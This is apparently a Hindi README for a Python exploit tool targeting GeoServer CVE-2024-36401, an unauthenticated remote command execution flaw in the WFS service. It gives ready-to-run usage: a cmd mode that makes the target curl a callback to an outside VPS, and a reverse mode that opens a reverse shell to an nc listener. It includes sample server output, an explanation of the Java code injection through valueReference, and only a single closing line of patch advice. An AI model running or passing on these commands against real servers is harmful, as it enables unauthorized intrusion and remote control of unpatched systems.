
"GeoServer" के लिए एक Python एक्सप्लॉइट
CVE-2024-36401 GeoServer में एक रिमोट कमांड निष्पादन भेद्यता है, जिसके माध्यम से हमलावर विशेष WFS (Web Feature Service) अनुरोध तैयार करके बिना प्राधिकरण के मनमाना कमांड निष्पादित कर सकते हैं।
pip install requestsयह उपकरण दो उपयोग मोड का समर्थन करता है: cmd मोड (सीधे कमांड निष्पादित करना) और reverse मोड (रिवर्स शेल स्थापित करना)।
मान लें कि VPS पता 111.46.112.85 है,
cmd मोड का उपयोग करके curl कमांड निष्पादित करें, यह परीक्षण करने के लिए कि लक्ष्य सर्वर बाहरी नेटवर्क तक पहुँच सकता है या नहीं:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
सत्यापन विधि: VPS पर अनुरोध प्राप्त करने के लिए HTTP सर्वर प्रारंभ करें
# 在 VPS 上执行
python -m http.server 8090
यदि कॉलबैक सफलतापूर्वक प्राप्त होता है, तो आपको निम्न जैसा आउटपुट दिखाई देगा:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
reverse मोड का उपयोग करके निर्दिष्ट VPS और पोर्ट पर रिवर्स शेल कनेक्शन स्थापित करें:
चरण 1: VPS पर लिसनिंग पोर्ट सेट करें
# 在 VPS 上执行
nc -lvp 6666
चरण 2: भेद्यता शोषण उपकरण चलाकर रिवर्स कनेक्शन आरंभ करें
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
निष्पादन के बाद, उपकरण निम्न जैसा आउटपुट प्रदर्शित करेगा:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
इस समय, यदि शोषण सफल होता है, तो VPS पर nc लिसनिंग को रिवर्स शेल सत्र प्राप्त होगा।
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: एकल कमांड निष्पादन मोडreverse: रिवर्स शेल मोड<target>: लक्ष्य सर्वर का पता और पोर्ट, प्रारूप ip:port<command>: लक्ष्य सर्वर पर निष्पादित किया जाने वाला कमांड<vps_ip>: VPS सर्वर का IP पता<vps_port>: VPS पर लिसनिंग पोर्ट नंबरयह भेद्यता GeoServer WFS सेवा में सुरक्षा दोष का फायदा उठाती है, valueReference में Java कोड इंजेक्ट करके सिस्टम कमांड निष्पादित करती है। उपकरण दुर्भावनापूर्ण कोड युक्त XML Payload तैयार करके उसे GeoServer के WFS इंटरफ़ेस पर भेजता है, जिससे रिमोट कमांड निष्पादन संभव होता है।
/geoserver/wfs को संबंधित सामग्री में संशोधित करने की आवश्यकता हो सकती है।GeoServer को आधिकारिक रूप से जारी सुरक्षित संस्करण में समय पर अपडेट करें, और सुरक्षा सर्वोत्तम प्रथाओं के अनुसार सर्वर कॉन्फ़िगर करें।